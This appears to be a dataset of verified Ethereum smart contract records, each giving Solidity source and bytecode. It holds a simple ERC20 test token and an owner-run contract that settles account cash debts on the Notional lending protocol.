* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
/**
* @dev See {IERC20-allowance}.
*/
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
/* function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
/* function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
/* function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
/* function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
/* function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
/* function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
/* function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
/*function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
/* function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
/* function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
/* function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract GovernedMinterRole is Module {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor(address _nexus) internal Module(_nexus) {
}
modifier onlyMinter() {
require(isMinter(msg.sender), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyGovernor {
_addMinter(account);
}
function removeMinter(address account) public onlyGovernor {
_removeMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
/**
* @dev Returns the name of the token.
*/
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract GreyHoldingsTest {
// Track how many tokens are owned by each address.
mapping (address => uint256) public balanceOf;
// Modify this section
string public name = "Grey.holdings";
string public symbol = "TEST";
uint8 public decimals = 0;
uint256 public totalSupply = 50000 * (uint256(10) ** decimals);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() public {
// Initially assign all tokens to the contract's creator.
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce5671461022557806370a082311461024957806395d89b41146102a1578063a9059cbb14610324578063dd62ed3e1461038a57610093565b806306fdde0314610098578063095ea7b31461011b57806318160ddd1461018157806323b872dd1461019f575b600080fd5b6100a0610402565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100e05780820151818401526020810190506100c5565b50505050905090810190601f16801561010d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101676004803603604081101561013157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104a0565b604051808215151515815260200191505060405180910390f35b610189610592565b6040518082815260200191505060405180910390f35b61020b600480360360608110156101b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610598565b604051808215151515815260200191505060405180910390f35b61022d610800565b604051808260ff1660ff16815260200191505060405180910390f35b61028b6004803603602081101561025f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610813565b6040518082815260200191505060405180910390f35b6102a961082b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102e95780820151818401526020810190506102ce565b50505050905090810190601f1680156103165780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103706004803603604081101561033a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108c9565b604051808215151515815260200191505060405180910390f35b6103ec600480360360408110156103a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1d565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104985780601f1061046d57610100808354040283529160200191610498565b820191906000526020600020905b81548152906001019060200180831161047b57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156105e557600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561066e57600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108c15780601f10610896576101008083540402835291602001916108c1565b820191906000526020600020905b8154815290600101906020018083116108a457829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561091657600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600560205281600052604060002060205280600052604060002060009150915050548156fea165627a7a72305820d25644bf8d718ebc286b6694f59b92dc5d8bffd09490d47da8cfd497629fb4da0029
|
{"success": true, "error": null, "results": {}}
| 1,667 |
0xc1c3355902bba6c689ee6bd333c3ace58e9ea5c9
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
enum DepositActionType {
// No deposit action
None,
// Deposit asset cash, depositActionAmount is specified in asset cash external precision
DepositAsset,
// Deposit underlying tokens that are mintable to asset cash, depositActionAmount is specified in underlying token
// external precision
DepositUnderlying,
// Deposits specified asset cash external precision amount into an nToken and mints the corresponding amount of
// nTokens into the account
DepositAssetAndMintNToken,
// Deposits specified underlying in external precision, mints asset cash, and uses that asset cash to mint nTokens
DepositUnderlyingAndMintNToken,
// Redeems an nToken balance to asset cash. depositActionAmount is specified in nToken precision. Considered a deposit action
// because it deposits asset cash into an account. If there are fCash residuals that cannot be sold off, will revert.
RedeemNToken,
// Converts specified amount of asset cash balance already in Notional to nTokens. depositActionAmount is specified in
// Notional internal 8 decimal precision.
ConvertCashToNToken
}
enum TradeActionType {
// (uint8 TradeActionType, uint8 MarketIndex, uint88 fCashAmount, uint32 minImpliedRate, uint120 unused)
Lend,
// (uint8 TradeActionType, uint8 MarketIndex, uint88 fCashAmount, uint32 maxImpliedRate, uint128 unused)
Borrow,
// (uint8 TradeActionType, uint8 MarketIndex, uint88 assetCashAmount, uint32 minImpliedRate, uint32 maxImpliedRate, uint88 unused)
AddLiquidity,
// (uint8 TradeActionType, uint8 MarketIndex, uint88 tokenAmount, uint32 minImpliedRate, uint32 maxImpliedRate, uint88 unused)
RemoveLiquidity,
// (uint8 TradeActionType, uint32 Maturity, int88 fCashResidualAmount, uint128 unused)
PurchaseNTokenResidual,
// (uint8 TradeActionType, address CounterpartyAddress, int88 fCashAmountToSettle)
SettleCashDebt
}
/// @dev Market object as represented in memory
struct MarketParameters {
bytes32 storageSlot;
uint256 maturity; //到期日
// Total amount of fCash available for purchase in the market.
int256 totalfCash;
// Total amount of cash available for purchase in the market.
int256 totalAssetCash;
// Total amount of liquidity tokens (representing a claim on liquidity) in the market.
int256 totalLiquidity;
// This is the previous annualized interest rate in RATE_PRECISION that the market traded
// at. This is used to calculate the rate anchor to smooth interest rates over time.
uint256 lastImpliedRate; //fcash的兑换率
// Time lagged version of lastImpliedRate, used to value fCash assets at market rates while
// remaining resistent to flash loan attacks.
//lastImpliedRate的时滞版本,用于以市场利率对fCash资产进行估值,同时保持对闪电贷款攻击的抵抗力。
uint256 oracleRate;
// This is the timestamp of the previous trade
uint256 previousTradeTime;
}
interface AssetRateAdapter {
function token() external view returns (address);
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
function underlying() external view returns (address);
function getExchangeRateStateful() external returns (int256);
function getExchangeRateView() external view returns (int256);
function getAnnualizedSupplyRate() external view returns (uint256);
}
interface AggregatorInterface {
function latestAnswer() external view returns (int256);
function latestTimestamp() external view returns (uint256);
function latestRound() external view returns (uint256);
function getAnswer(uint256 roundId) external view returns (int256);
function getTimestamp(uint256 roundId) external view returns (uint256);
event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 updatedAt);
event NewRound(uint256 indexed roundId, address indexed startedBy, uint256 startedAt);
}
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
interface AggregatorV2V3Interface is AggregatorInterface, AggregatorV3Interface{
}
interface Notional {
//得到用户cash余额 注意是ctoken!!!!
function getAccountBalance(uint16 currencyId, address account) external view returns (
int256 cashBalance,
int256 nTokenBalance,
uint256 lastClaimTime
);
function getRateStorage(uint16 currencyId) external view returns (ETHRateStorage memory ethRate, AssetRateStorage memory assetRate);
function getAccountContext(address account) external view returns (AccountContext memory);
function settleAccount(address account) external returns (AccountContext memory);
function getfCashAmountGivenCashAmount(uint16 currencyId,int88 netCashToAccount,uint256 marketIndex,uint256 blockTime) external view returns (int256);
function batchBalanceAndTradeAction(address account, BalanceActionWithTrades[] calldata actions) external payable;
function initializeMarkets(uint16 currencyId, bool isFirstInit) external;
}
interface ICERC20 {
function transfer(address dst, uint256 amount) external returns (bool);
function transferFrom(
address src,
address dst,
uint256 amount
) external returns (bool);
function balanceOf(address owner) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
}
struct AssetRateParameters {
// Address of the asset rate oracle
AssetRateAdapter rateOracle;
// The exchange rate from base to quote (if invert is required it is already done)
int256 rate;//从底层资产到合成资产的汇率(如果需要反转,则已完成)
// The decimals of the underlying, the rate converts to the underlying decimals
int256 underlyingDecimals; //底层资产的精度,转换为底层资产的比列
}
struct AccountContext {
// Used to check when settlement must be triggered on an account
//下一次结算时间
uint40 nextSettleTime;
// For lenders that never incur debt, we use this flag to skip the free collateral check.
//是否有过贷款
bytes1 hasDebt;
// Length of the account's asset array
// 用户资产数量
uint8 assetArrayLength;
// If this account has bitmaps set, this is the corresponding currency id
// 未知
uint16 bitmapCurrencyId;
// 未知
// 9 total active currencies possible (2 bytes each)
bytes18 activeCurrencies;
}
enum AssetStorageState {NoChange, Update, Delete, RevertIfStored}
struct PortfolioAsset {
// Asset currency id
uint256 currencyId;
uint256 maturity; //到期日
// Asset type, fCash or liquidity token.
uint256 assetType; //资产类型,有LT 也有fcash
// fCash amount or liquidity token amount
int256 notional; //资产数量,有正数有负数
// Used for managing portfolio asset state
uint256 storageSlot;
// The state of the asset for when it is written to storage
AssetStorageState storageState;
}
struct BalanceActionWithTrades {
DepositActionType actionType;
uint16 currencyId;
uint256 depositActionAmount;
uint256 withdrawAmountInternalPrecision;
bool withdrawEntireCashBalance;
bool redeemToUnderlying;
// Array of tightly packed 32 byte objects that represent trades. See TradeActionType documentation
bytes32[] trades;
}
/// @notice In memory ETH exchange rate used during free collateral calculation.
struct ETHRate {
// The decimals (i.e. 10^rateDecimalPlaces) of the exchange rate, defined by the rate oracle
int256 rateDecimals;
// The exchange rate from base to ETH (if rate invert is required it is already done)
int256 rate;
// Amount of buffer as a multiple with a basis of 100 applied to negative balances.
int256 buffer;
// Amount of haircut as a multiple with a basis of 100 applied to positive balances
int256 haircut;
// Liquidation discount as a multiple with a basis of 100 applied to the exchange rate
// as an incentive given to liquidators.
int256 liquidationDiscount;
}
enum TokenType {UnderlyingToken, cToken, cETH, Ether, NonMintable}
/// @notice Internal object that represents a token
struct Token {
address tokenAddress;
bool hasTransferFee;
int256 decimals;
TokenType tokenType;
uint256 maxCollateralBalance;
}
/// @dev Exchange rate object as it is represented in storage, total storage is 25 bytes.
struct ETHRateStorage {
// Address of the rate oracle
AggregatorV2V3Interface rateOracle;
// The decimal places of precision that the rate oracle uses
uint8 rateDecimalPlaces;
// True of the exchange rate must be inverted
bool mustInvert;
// NOTE: both of these governance values are set with BUFFER_DECIMALS precision
// Amount of buffer to apply to the exchange rate for negative balances.
uint8 buffer;
// Amount of haircut to apply to the exchange rate for positive balances
uint8 haircut;
// Liquidation discount in percentage point terms, 106 means a 6% discount
uint8 liquidationDiscount;
}
/// @dev Asset rate oracle object as it is represented in storage, total storage is 21 bytes.
struct AssetRateStorage {
// Address of the rate oracle
AssetRateAdapter rateOracle;
// The decimal places of the underlying asset
uint8 underlyingDecimalPlaces;
}
library SafeInt256 {
int256 private constant _INT256_MIN = type(int256).min;
function mul(int256 a, int256 b) internal pure returns (int256 c) {
c = a * b;
if (a == -1) require (b == 0 || c / b == a);
else require (a == 0 || c / a == b);
}
function div(int256 a, int256 b) internal pure returns (int256 c) {
require(!(b == -1 && a == _INT256_MIN)); // dev: int256 div overflow
// NOTE: solidity will automatically revert on divide by zero
c = a / b;
}
}
contract Owner {
address private owner;
// modifier to check if caller is owner
modifier isOwner() {
require(msg.sender == owner, "Caller is not owner");
_;
}
/**
* @dev Set contract deployer as owner
*/
constructor() {
owner = msg.sender; // 'msg.sender' is sender of current call, contract deployer for a constructor
}
/**
* @dev Change owner
* @param newOwner address of new owner
*/
function changeOwner(address newOwner) public isOwner {
owner = newOwner;
}
/**
* @dev Return owner address
* @return address of owner
*/
function getOwner() external view returns (address) {
return owner;
}
}
contract settle is Owner {
uint256 internal constant DAY = 86400;
// We use six day weeks to ensure that all time references divide evenly
uint256 internal constant WEEK = DAY * 6;
uint256 internal constant MONTH = WEEK * 5;
uint256 internal constant QUARTER = MONTH * 3;
address constant NotionalAddress = 0x1344A36A1B56144C3Bc62E7757377D288fDE0369;
using SafeInt256 for int256;
constructor(){
}
function convertToUnderlying(uint16 currencyId,int256 assetBalance) public view returns (int256) {
(,AssetRateStorage memory assetRate) = Notional(NotionalAddress).getRateStorage(currencyId);
int256 rate = AssetRateAdapter(assetRate.rateOracle).getExchangeRateView(); //从外部地址获取兑换率 ctoken与底层资产的兑换率
// Calculation here represents:
// rate * balance * internalPrecision / rateDecimals * underlyingPrecision
int256 underlyingBalance = rate
.mul(assetBalance)
.div(1e10)
.div(int256(uint256(assetRate.underlyingDecimalPlaces)));
return underlyingBalance;
}
//marketIndex 为要兑换的市场,这里千万注意 因为下个市场会变化
//cashBalance为负数,fcashAmount为负数
function getPayCashAndFcash(address account,uint16 currencyId,uint256 marketIndex) public view returns(int256 ,int256) {
//在这之前市场必须要进行初始化
int256 fcashAmount = 0;
uint256 blockTime = block.timestamp;
(int256 cashBalanceAsset,,) = Notional(NotionalAddress).getAccountBalance(currencyId,account);
if(cashBalanceAsset >= 0) { //已经被结算过了
return (cashBalanceAsset,fcashAmount); //这里就不继续转换成底层资产了,因为已经不需要结算了
}
//注意cashBalanceAsset是ctoken,这里做一次转换
int256 cashBalance = convertToUnderlying(currencyId,cashBalanceAsset);
//注意fcashAmount的符号,这里cashBalance为负数 fcashAmount就为正数。如果传错了滑点就会滑向相反的方向,与实际情况不符
//所以要传入负数 最终结果fcash为负数。这里表示用户要得到正的cash,账户会累计多少负的fcash
//此处的含义是结算人为了帮助 欠款人 结算 需要付出cashBalance的资金,从而自己需要从市场上借多少fcash
fcashAmount = Notional(NotionalAddress).getfCashAmountGivenCashAmount(currencyId,int88(-cashBalance),marketIndex,blockTime);
//因为最终得到正的fcash会稍微有盈余,所以这里可以适当增加fcash的数量
return (cashBalance,fcashAmount);
}
function executeTradesByMultiUser(address[] memory accounts,uint16 currencyId,uint256 maturity) isOwner external {
//判断时间是否到了可以初始化与清算的时候, maturity为到期日
uint256 blockTime = block.timestamp;
require(blockTime >= maturity,"please settle later");
//判断市场是否需要初始化. 这个必须在getPayCashAndFcash 之前
_initMaketIfRequired(currencyId);
for (uint i = 0; i < accounts.length; i++) {
_executeTrade(accounts[i],currencyId);
}
}
function executeTradesBySingleUser(address account,uint16 currencyId,uint256 maturity) isOwner external {
//判断时间是否到了可以初始化与清算的时候, maturity为到期日
uint256 blockTime = block.timestamp;
require(blockTime >= maturity,"please settle later");
//判断市场是否需要初始化. 这个必须在getPayCashAndFcash 之前
_initMaketIfRequired(currencyId);
_executeTrade(account,currencyId);
}
//用来与合约进行交互, 方便后续提款.
function executeTradesBatch(BalanceActionWithTrades[] memory tradeBatch) isOwner external {
Notional(NotionalAddress).batchBalanceAndTradeAction(address(this),tradeBatch);
}
function ERC20Transfer(address token,address to,uint256 amount) isOwner external {
ICERC20(token).transfer(to,amount);
}
function ERC20TransferFrom(address token,address to,uint256 amount) isOwner external {
ICERC20(token).transferFrom(address(this),to,amount);
}
function ETHTransfer() isOwner external {
payable(msg.sender).transfer(address(this).balance);
}
//结算单个用户
function _executeTrade(address account,uint16 currencyId) internal {
//得到是否需要结算
_settleAccountIfRequired(account);
uint256 marketIndex = 1; //这里marketIndex永远是1,表示在市场初始化之后的 第一个市场
//这里fcashAmount也为负数
(int256 cashBalance,int256 fcashAmount) = getPayCashAndFcash(account,currencyId,marketIndex);
if(cashBalance >= 0){ //已经被结算了
return ;
}
bytes memory tradeBorrowItem = new bytes(32);
tradeBorrowItem = abi.encodePacked(uint8(TradeActionType.Borrow),uint8(marketIndex),uint88(uint256(-fcashAmount)),uint32(0));
bytes memory tradeSettleItem = new bytes(32);
tradeSettleItem = abi.encodePacked(uint8(TradeActionType.SettleCashDebt),account,uint88(0));
bytes32[] memory trades = new bytes32[](2);
trades[0] = _bytesToBytes32(tradeBorrowItem);
trades[1] = _bytesToBytes32(tradeSettleItem);
BalanceActionWithTrades memory tradeItem = BalanceActionWithTrades(
DepositActionType.None,
currencyId,
0, //depositActionAmount
0,//withdrawAmountInternalPrecision 提款数量
false,//withdrawEntireCashBalance 是否将cash全部提出 ;
false,//redeemToUnderlying 是否赎回底层资产
// Array of tightly packed 32 byte objects that represent trades. See TradeActionType documentation
trades
);
BalanceActionWithTrades[] memory tradeBatch = new BalanceActionWithTrades[](1);
tradeBatch[0] = tradeItem;
Notional(NotionalAddress).batchBalanceAndTradeAction(address(this),tradeBatch);
}
function _settleAccountIfRequired(address account) internal {
uint256 blockTime = block.timestamp;
AccountContext memory accContext = Notional(NotionalAddress).getAccountContext(account);
bool mustSettle = 0 < accContext.nextSettleTime && accContext.nextSettleTime <= blockTime;
if (mustSettle) { //开始结算
Notional(NotionalAddress).settleAccount(account);
}
}
function _getReferenceTime(uint256 blockTime) internal pure returns (uint256) {
require(blockTime >= QUARTER);
return blockTime - (blockTime % QUARTER);
}
//查看是否需要初始化
function _initMaketIfRequired(uint16 currencyId) internal {
uint256 blockTime = block.timestamp;
uint256 threeMonthMaturity = _getReferenceTime(blockTime) + QUARTER;
//(bool ok,bytes memory returndata) = address(notional).staticcall(abi.encodeWithSignature("getMarket(uint16,uint256,uint256)",currencyId,maturity,settlementDate)) ;
(bool success,bytes memory returndata) = address(NotionalAddress).staticcall(abi.encodeWithSignature("getMarket(uint16,uint256,uint256)",currencyId,threeMonthMaturity,threeMonthMaturity));
MarketParameters memory market ;
if(success){
( market) = abi.decode(returndata,(MarketParameters)) ;
if(market.oracleRate==0){
Notional(NotionalAddress).initializeMarkets(currencyId,false);
}
}else{
Notional(NotionalAddress).initializeMarkets(currencyId,false);
}
}
//转换
function _bytesToBytes32(bytes memory source) internal pure returns (bytes32 result) {
if (source.length == 0) {
return 0x0;
}
assembly {
result := mload(add(source, 32))
}
}
}
|
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c80637d43c8c8116100665780637d43c8c814610132578063893d20e81461014e578063a6f9dae11461016c578063e59fdd3614610188578063fb682758146101a45761009e565b80633c218881146100a35780634f5b62a3146100d45780636cb4714a146100de5780637756d05a146100fa5780637acb89e114610116575b600080fd5b6100bd60048036038101906100b89190611627565b6101d4565b6040516100cb929190611693565b60405180910390f35b6100dc610349565b005b6100f860048036038101906100f39190611627565b610420565b005b610114600480360381019061010f91906116bc565b61050f565b005b610130600480360381019061012b9190611868565b610623565b005b61014c60048036038101906101479190611be8565b61074c565b005b61015661085e565b6040516101639190611c40565b60405180910390f35b61018660048036038101906101819190611c5b565b610887565b005b6101a2600480360381019061019d91906116bc565b610958565b005b6101be60048036038101906101b99190611cb4565b610a6a565b6040516101cb9190611cf4565b60405180910390f35b6000806000804290506000731344a36a1b56144c3bc62e7757377d288fde036973ffffffffffffffffffffffffffffffffffffffff1663fc1b1345888a6040518363ffffffff1660e01b815260040161022e929190611d1e565b606060405180830381865afa15801561024b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061026f9190611d71565b505090506000811261028957808394509450505050610341565b60006102958883610a6a565b9050731344a36a1b56144c3bc62e7757377d288fde036973ffffffffffffffffffffffffffffffffffffffff16638355e89589836102d290611df3565b8a876040518563ffffffff1660e01b81526004016102f39493929190611e67565b602060405180830381865afa158015610310573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103349190611eac565b9350808495509550505050505b935093915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146103d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ce90611f36565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561041d573d6000803e3d6000fd5b50565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146104ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104a590611f36565b60405180910390fd5b6000429050818110156104f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ed90611fa2565b60405180910390fd5b6104ff83610bc9565b6105098484610e63565b50505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461059d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059490611f36565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff166323b872dd3084846040518463ffffffff1660e01b81526004016